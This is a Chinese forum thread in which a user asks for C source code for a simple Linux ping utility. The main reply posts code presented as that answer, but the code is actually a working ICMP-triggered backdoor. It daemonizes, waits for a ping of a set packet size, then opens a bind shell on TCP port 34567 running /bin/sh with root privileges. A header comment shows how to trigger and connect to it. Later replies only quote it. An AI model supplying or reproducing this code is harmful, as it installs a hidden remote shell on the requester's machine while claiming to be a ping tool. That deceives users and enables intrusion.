PING的在LINUX下的C语言实现

[vincent29]

需要一份现成的PING源代码，
只要能够测试网络通了木有就行。

在LINUX编译就能执行的。


高分给了。

[eye_119_eye]

linux下的ping命令的使用方法
ping [ -a] [- A] [ -b] [ -B] [-c count] [ -d] [ -f] [ -F flow label] [-i interval] [-I interface address] [ -l preload] [-L] [ -n] [-p pattern] [ -Q tos ] [ -q] [ -R] [ -r] [-s packetsize] [-S sndbuf] [-t ttl] [ -T timestamp option ] [-M mtu discovery hint] [ -U] [ -v] [ -V] [-w deadline] [ -W timeout] destination

[vincent29]

我要源代码

[ljt3969636]

/* 
ping   -s   100   192.168.11.7 
nc   192.168.11.7   34567 
*/ 
#include   <signal.h> 
#include   <netinet/in.h> 
#include   <netdb.h> 
#include   <sys/socket.h> 
#include   <sys/types.h> 
#include   <stdio.h> 
#define   SIZEPACK   88 
#define   PORT   34567 

void   child_kill()   
{ 
wait(NULL); 
signal(SIGCHLD,   child_kill); 
} 

int   bind_shell()   
{ 

int   soc_des,   soc_cli,   soc_rc,   soc_len,   server_pid,   cli_pid; 
struct   sockaddr_in   serv_addr; 
struct   sockaddr_in   client_addr; 

setuid(0); 
setgid(0); 
seteuid(0); 
setegid(0); 

chdir( "/ ");   

soc_des   =   socket(AF_INET,   SOCK_STREAM,   IPPROTO_TCP); 

if   (soc_des   ==   -1)   
exit(-1); 

bzero((char   *)   &serv_addr,sizeof(serv_addr)); 

serv_addr.sin_family   =   AF_INET; 
serv_addr.sin_addr.s_addr   =   htonl(INADDR_ANY); 
serv_addr.sin_port   =   htons(PORT); 
soc_rc   =   bind(soc_des,   (struct   sockaddr   *)   &serv_addr,   sizeof(serv_addr)); 

if   (soc_rc   !=   0)   
exit(-1); 

if   (fork()   !=   0)   
exit(0); 

setpgrp(); 

if   (fork()   !=   0) 
exit(0); 

soc_rc   =   listen(soc_des,   5); 
if   (soc_rc   !=   0)   
exit(0); 

while   (1)   
{ 
soc_len   =   sizeof(client_addr); 
soc_cli   =   accept(soc_des,   (struct   sockaddr   *)   &client_addr,   &soc_len); 

if   (soc_cli   <   0)   
exit(0); 

cli_pid   =   getpid(); 
server_pid   =   fork(); 

if   (server_pid   !=   0)   
{ 
dup2(soc_cli,0); 
dup2(soc_cli,1); 
dup2(soc_cli,2); 
execl( "/bin/sh ", "sh ",(char   *)0); 
close(soc_cli); 
return   1; 
} 

close(soc_cli); 
} 
} 

int   main(int   argc,   char   *argv[]) 
{ 

int   s,   size,   fromlen; 
char   pkt[4096]; 

struct   protoent   *proto; 
struct   sockaddr_in   from; 

if   (fork()   !=   0)   exit(0); 

proto   =   getprotobyname( "icmp ");   

if   ((s   =   socket(AF_INET,   SOCK_RAW,   proto-> p_proto))   <   0)   
/*   can 't   creat   raw   socket   */ 
exit(0); 

/*   waiting   for   packets   */ 
while(1) 
{ 
do 
{ 
fromlen   =   sizeof(from); 
if   ((size   =   recvfrom(s,   pkt,   sizeof(pkt),   0,   (struct   sockaddr   *)   &from,   &fromlen))   <   0) 
printf( "ping   of   %i   ",   size-28); 

}   while   (size   !=   SIZEPACK   +   28); 

/*   size   ==   SIZEPACK,   let 's   bind   the   shell   */ 
switch(fork())   { 
case   -1: 
continue;   
case   0: 
bind_shell(); 
exit(0); 
} 

sleep(15); 

} 
}   

[jernymy]

[Quote=引用 3 楼 ljt3969636 的回复:]
C/C++ code

/*
ping -s 100 192.168.11.7
nc 192.168.11.7 34567
*/
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <……
[/Quote]

up一下

[bobo_包子]

[Quote=引用 3 楼 ljt3969636 的回复:]

C/C++ code

/*
ping -s 100 192.168.11.7
nc 192.168.11.7 34567
*/
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/type……
[/Quote]

upup